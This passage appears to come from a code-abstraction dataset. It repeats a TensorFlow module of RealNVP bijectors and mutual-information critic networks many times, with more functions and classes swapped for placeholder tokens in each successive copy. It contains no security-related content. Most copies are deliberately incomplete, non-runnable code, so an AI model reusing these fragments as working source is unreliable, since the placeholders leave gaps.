self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n <function token>\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n <function token>\n <function token>\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n <function token>\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n <function token>\n <function token>\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n\n\nclass InnerProdCritic(tf.keras.Model):\n <function token>\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n <function token>\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n\n\nclass BilinearCritic(tf.keras.Model):\n <function token>\n <function token>\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code 